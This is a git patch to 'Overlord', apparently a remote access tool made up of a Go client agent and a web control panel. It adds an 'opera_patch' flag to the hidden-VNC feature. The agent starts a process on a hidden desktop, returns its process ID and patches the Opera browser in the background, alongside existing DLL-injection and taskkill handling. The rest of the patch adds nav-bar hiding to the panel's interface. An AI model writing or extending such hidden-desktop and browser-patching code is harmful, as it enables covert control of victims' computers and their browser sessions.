From d41607782a58cdd78ac9420b054599721db1a482 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Fri, 17 Apr 2026 18:43:16 -0500 Subject: [PATCH] let users opera patch everything and add hiding to nav bar --- .../cmd/agent/capture/hvnc_stub.go | 2 +- .../cmd/agent/capture/hvnc_windows.go | 28 +++--- Overlord-Client/cmd/agent/handlers/command.go | 8 +- Overlord-Server/public/assets/hvnc.js | 10 +- Overlord-Server/public/assets/main.css | 99 +++++++++++++++++++ Overlord-Server/public/assets/nav.js | 6 +- Overlord-Server/public/assets/nav/layout.js | 58 ++++++++++- Overlord-Server/public/assets/nav/template.js | 12 +++ Overlord-Server/public/assets/settings.js | 11 +++ Overlord-Server/public/settings.html | 9 ++ .../src/server/ws-console-rd-hvnc.ts | 1 + 11 files changed, 223 insertions(+), 21 deletions(-) diff --git a/Overlord-Client/cmd/agent/capture/hvnc_stub.go b/Overlord-Client/cmd/agent/capture/hvnc_stub.go index d29d295..92b5f72 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_stub.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_stub.go @@ -27,7 +27,7 @@ func HVNCMonitorCount() int { return 0 } -func StartHVNCProcess(filePath string) error { +func StartHVNCProcess(filePath string, operaPatch bool) error { return errors.New("HVNC not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/hvnc_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_windows.go index 5b57d3f..e75622c 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_windows.go @@ -479,7 +479,7 @@ func ensureHVNCThread() error { var result hvncTaskResult switch task.kind { case hvncTaskStartProcess: - result.err = startHVNCProcessOnThread(task.filePath) + result.pid, result.err = startHVNCProcessOnThread(task.filePath) case hvncTaskStartProcessInjected: result.pid, result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath) case hvncTaskMouseMove: @@ -535,7 +535,7 @@ func hvncCaptureDisplay(display int) (*image.RGBA, error) { return result.img, result.err } -func StartHVNCProcess(filePath string) error { +func StartHVNCProcess(filePath string, operaPatch bool) error { if filePath == "" { return fmt.Errorf("empty file path") } @@ -546,7 +546,13 @@ func StartHVNCProcess(filePath string) error { if err != nil { return err } - return result.err + if result.err != nil { + return result.err + } + if operaPatch && result.pid != 0 { + go patchOperaAsync(result.pid, 5, 2*time.Second) + } + return nil } func HVNCAutoStartExplorer() error { @@ -863,18 +869,18 @@ func hvncCaptureDisplayOnThread(display int) (*image.RGBA, error) { return img, nil } -func startHVNCProcessOnThread(filePath string) error { +func startHVNCProcessOnThread(filePath string) (uint32, error) { if filePath == "" { - return fmt.Errorf("empty file path") + return 0, fmt.Errorf("empty file path") } desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName) if err != nil { - return fmt.Errorf("failed to convert desktop name: %v", err) + return 0, fmt.Errorf("failed to convert desktop name: %v", err) } cmdLine, err := syscall.UTF16FromString(filePath) if err != nil { - return fmt.Errorf("failed to convert command line: %v", err) + return 0, fmt.Errorf("failed to convert command line: %v", err) } var si startupInfo var pi processInformation @@ -898,11 +904,11 @@ func startHVNCProcessOnThread(filePath string) error { ) if ret == 0 { if callErr != nil { - return fmt.Errorf("CreateProcess failed: %v", callErr) + return 0, fmt.Errorf("CreateProcess failed: %v", callErr) } - return fmt.Errorf("CreateProcess failed") + return 0, fmt.Errorf("CreateProcess failed") } - return nil + return pi.dwProcessId, nil } func hvncAutoStartExplorerOnThread() error { @@ -917,7 +923,7 @@ func hvncAutoStartExplorerOnThread() error { } log.Printf("hvnc: no explorer.exe found on HVNC desktop, starting explorer.exe") - err := startHVNCProcessOnThread("explorer.exe") + _, err := startHVNCProcessOnThread("explorer.exe") if err != nil { return fmt.Errorf("auto-start explorer failed: %w", err) } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 5d07b6c..b8c1243 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -1451,6 +1451,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in payload, _ := envelope["payload"].(map[string]interface{}) filePath := "" killExe := "" + operaPatch := false if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v @@ -1458,15 +1459,18 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["kill_exe"].(string); ok { killExe = v } + if v, ok := payload["opera_patch"].(bool); ok { + operaPatch = v + } } - log.Printf("hvnc: start process %q (kill_exe=%q)", filePath, killExe) + log.Printf("hvnc: start process %q (kill_exe=%q opera_patch=%v)", filePath, killExe, operaPatch) sendCommandResultSafe(env, cmdID, true, "") goSafe("hvnc_start_process", nil, func() { if killExe != "" { out, err := exec.Command("taskkill", "/f", "/im", killExe).CombinedOutput() log.Printf("hvnc: taskkill /f /im %s: %s (err=%v)", killExe, strings.TrimSpace(string(out)), err) } - if err := capture.StartHVNCProcess(filePath); err != nil { + if err := capture.StartHVNCProcess(filePath, operaPatch); err != nil { log.Printf("hvnc: start process failed for %q: %v", filePath, err) } }) diff --git a/Overlord-Server/public/assets/hvnc.js b/Overlord-Server/public/assets/hvnc.js index 178ea08..07eb109 100644 --- a/Overlord-Server/public/assets/hvnc.js +++ b/Overlord-Server/public/assets/hvnc.js @@ -1108,7 +1108,12 @@ import { checkFeatureAccess } from "./feature-gate.js"; class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" /> + class="w-full bg-slate-800 border border-slate-700 rounded px-3 py-2 text-sm text-slate-100 mb-3 focus:outline-none focus:border-violet-500" /> +
@@ -1126,7 +1131,8 @@ import { checkFeatureAccess } from "./feature-gate.js"; if (!exePath) return; const args = argsInput.value.trim(); const cmd = args ? `"${exePath}" ${args}` : `"${exePath}"`; - sendCmd("hvnc_start_process", { path: cmd }); + const operaPatch = document.getElementById("hvncCustomExeOperaPatch").checked; + sendCmd("hvnc_start_process", { path: cmd, opera_patch: operaPatch }); close(); } document.getElementById("hvncCustomExeRun").addEventListener("click", run); diff --git a/Overlord-Server/public/assets/main.css b/Overlord-Server/public/assets/main.css index 401284a..8f731dc 100644 --- a/Overlord-Server/public/assets/main.css +++ b/Overlord-Server/public/assets/main.css @@ -2609,3 +2609,102 @@ body.sb-collapsed .sb-link-child { .sb-badge:not(.hidden) { display: inline-flex; } + +/* ============================================================ + NAV HIDE / REVEAL + ============================================================ */ + +/* ---- Shared reveal pill ---- */ +#nav-reveal-btn { + position: fixed; + z-index: 60; + display: none; /* hidden until nav-hidden */ + align-items: center; + justify-content: center; + width: 28px; + height: 28px; + border-radius: 8px; + background: rgba(15, 23, 42, 0.85); + border: 1px solid rgba(255, 255, 255, 0.1); + backdrop-filter: blur(12px); + -webkit-backdrop-filter: blur(12px); + color: #64748b; + font-size: 0.7rem; + cursor: pointer; + opacity: 0; + transition: opacity 0.25s ease, color 0.15s, background 0.15s, transform 0.2s ease; + pointer-events: none; +} +#nav-reveal-btn:hover { + background: rgba(30, 41, 59, 0.95); + color: #e2e8f0; + transform: scale(1.08); +} +#nav-reveal-btn:focus-visible { + outline: 2px solid #3b82f6; + outline-offset: 2px; +} + +/* ---- Topbar hidden state ---- */ +body.nav-hidden:not(.sb-ready) #top-nav { + transform: translateY(-100%); + pointer-events: none; + transition: transform 0.3s var(--sb-ease, cubic-bezier(0.4, 0, 0.2, 1)); +} +body.nav-hidden:not(.sb-ready) #nav-reveal-btn { + display: flex; + opacity: 1; + pointer-events: auto; + top: 8px; + left: 8px; +} + +/* ---- Sidebar hidden state ---- */ +body.sb-ready.nav-hidden { + padding-left: 0 !important; + transition: padding-left 0.3s var(--sb-ease); +} +body.sb-ready.nav-hidden #top-nav { + transform: translateX(calc(-1 * var(--sb-w) - 2px)); + pointer-events: none; + transition: transform 0.3s var(--sb-ease), width var(--sb-speed) var(--sb-ease); +} +body.sb-ready.nav-hidden #sb-mobile-bar { + transform: translateY(-100%); + pointer-events: none; + transition: transform 0.3s var(--sb-ease); +} +body.sb-ready.nav-hidden #nav-reveal-btn { + display: flex; + opacity: 1; + pointer-events: auto; + top: 8px; + left: 8px; +} + +/* ---- Reveal-on-hover edge strip (sidebar mode) ---- */ +body.sb-ready.nav-hidden #nav-reveal-btn { + transition: opacity 0.3s ease 0.1s, color 0.15s, background 0.15s, transform 0.2s ease; +} + +/* Tooltip on reveal button */ +#nav-reveal-btn::after { + content: attr(data-tooltip); + position: absolute; + left: calc(100% + 8px); + top: 50%; + transform: translateY(-50%); + white-space: nowrap; + font-size: 0.7rem; + color: #94a3b8; + background: rgba(15, 23, 42, 0.92); + border: 1px solid rgba(255, 255, 255, 0.08); + border-radius: 6px; + padding: 4px 8px; + pointer-events: none; + opacity: 0; + transition: opacity 0.15s; +} +#nav-reveal-btn:hover::after { + opacity: 1; +} diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index 1cdd904..232ee1f 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -16,7 +16,11 @@ const host = document.getElementById("top-nav"); if (host) { const refs = mountNav(host); showCertBannerIfNeeded(document.getElementById("sb-mobile-bar") || host); - const { applyAdaptiveNavLayout } = createAdaptiveNavController(host, refs); + const { applyAdaptiveNavLayout, navHide } = createAdaptiveNavController(host, refs); + + if (refs.navHideBtn && navHide) { + refs.navHideBtn.addEventListener("click", () => navHide.setHidden(true)); + } const path = window.location.pathname; const activeMap = { diff --git a/Overlord-Server/public/assets/nav/layout.js b/Overlord-Server/public/assets/nav/layout.js index 3bd0b82..21b28bc 100644 --- a/Overlord-Server/public/assets/nav/layout.js +++ b/Overlord-Server/public/assets/nav/layout.js @@ -1,8 +1,52 @@ import { NAV_MODE_KEY } from "./template.js"; const LS_KEY = "sb_collapsed"; +const NAV_HIDDEN_KEY = "nav_hidden"; const MOBILE_BP = 768; +/* ────────────────────────────────────────────── + NAV HIDE / REVEAL — shared across both modes + ────────────────────────────────────────────── */ + +function createNavHideController() { + let hidden = localStorage.getItem(NAV_HIDDEN_KEY) === "true"; + + // Create reveal button (injected into body) + const revealBtn = document.createElement("button"); + revealBtn.id = "nav-reveal-btn"; + revealBtn.setAttribute("aria-label", "Show navigation"); + const isMac = /Mac|iPhone|iPad/.test(navigator.platform || ""); + revealBtn.dataset.tooltip = `Show nav ${isMac ? "⌘" : "Ctrl"}+\\`; + revealBtn.innerHTML = ''; + document.body.appendChild(revealBtn); + + function setHidden(val) { + hidden = val; + localStorage.setItem(NAV_HIDDEN_KEY, String(val)); + document.body.classList.toggle("nav-hidden", val); + } + + function toggle() { + setHidden(!hidden); + } + + // Apply persisted state + if (hidden) document.body.classList.add("nav-hidden"); + + // Click the reveal button → show nav + revealBtn.addEventListener("click", () => { if (hidden) setHidden(false); }); + + // Keyboard shortcut: Ctrl+\ (or Cmd+\ on Mac) + document.addEventListener("keydown", (e) => { + if ((e.ctrlKey || e.metaKey) && e.key === "\\") { + e.preventDefault(); + toggle(); + } + }); + + return { toggle, isHidden: () => hidden, setHidden }; +} + /* ────────────────────────────────────────────── TOPBAR DROPDOWN LOGIC ────────────────────────────────────────────── */ @@ -241,9 +285,15 @@ function createSidebarController(host, refs) { export function createAdaptiveNavController(host, refs) { const mode = localStorage.getItem(NAV_MODE_KEY); - if (mode === "sidebar") { - return createSidebarController(host, refs); - } - return createTopbarController(host, refs); + const navCtrl = mode === "sidebar" + ? createSidebarController(host, refs) + : createTopbarController(host, refs); + + const hideCtrl = createNavHideController(); + + return { + applyAdaptiveNavLayout: navCtrl.applyAdaptiveNavLayout, + navHide: hideCtrl, + }; } diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index 4679752..5e9f61b 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -161,6 +161,11 @@ function mountTopbar(host) { title="Logout" aria-label="Logout"> +
@@ -180,6 +185,7 @@ function mountTopbar(host) { usernameDisplay: document.getElementById("username-display"), roleBadge: document.getElementById("role-badge"), enrollmentBadge: document.getElementById("enrollment-badge"), + navHideBtn: document.getElementById("nav-hide-btn"), }; // Add individual link refs @@ -293,6 +299,11 @@ function mountSidebar(host) { Logout + `; @@ -329,6 +340,7 @@ function mountSidebar(host) { usernameDisplay: document.getElementById("username-display"), roleBadge: document.getElementById("role-badge"), enrollmentBadge: document.getElementById("enrollment-badge"), + navHideBtn: document.getElementById("nav-hide-btn"), }; // Convenience refs expected by nav.js diff --git a/Overlord-Server/public/assets/settings.js b/Overlord-Server/public/assets/settings.js index 2507342..e7438b2 100644 --- a/Overlord-Server/public/assets/settings.js +++ b/Overlord-Server/public/assets/settings.js @@ -8,6 +8,7 @@ import { const PREF_REFRESH_KEY = "overlord_refresh_interval_seconds"; const NAV_MODE_KEY = "sb_mode"; +const NAV_HIDDEN_KEY = "nav_hidden"; const usernameEl = document.getElementById("settings-username"); const roleEl = document.getElementById("settings-role"); @@ -302,6 +303,11 @@ function loadPrefs() { if (sidebarBtn && topbarBtn) { updateNavLayoutButtons(navMode === "topbar" ? "topbar" : "sidebar", sidebarBtn, topbarBtn); } + + const navHiddenInput = document.getElementById("pref-nav-hidden"); + if (navHiddenInput) { + navHiddenInput.checked = localStorage.getItem(NAV_HIDDEN_KEY) === "true"; + } } async function loadCurrentUser() { @@ -389,6 +395,11 @@ function savePrefs(event) { showMessage("Preferences saved."); } + const navHiddenInput = document.getElementById("pref-nav-hidden"); + if (navHiddenInput) { + localStorage.setItem(NAV_HIDDEN_KEY, String(navHiddenInput.checked)); + document.body.classList.toggle("nav-hidden", navHiddenInput.checked); + } } async function saveSecurityPolicy(event) { diff --git a/Overlord-Server/public/settings.html b/Overlord-Server/public/settings.html index 356b46e..2296caa 100644 --- a/Overlord-Server/public/settings.html +++ b/Overlord-Server/public/settings.html @@ -353,6 +353,15 @@

Changes apply immediately on save.

+
+

Visibility

+ +

Press Ctrl+\ to toggle anytime.

+
+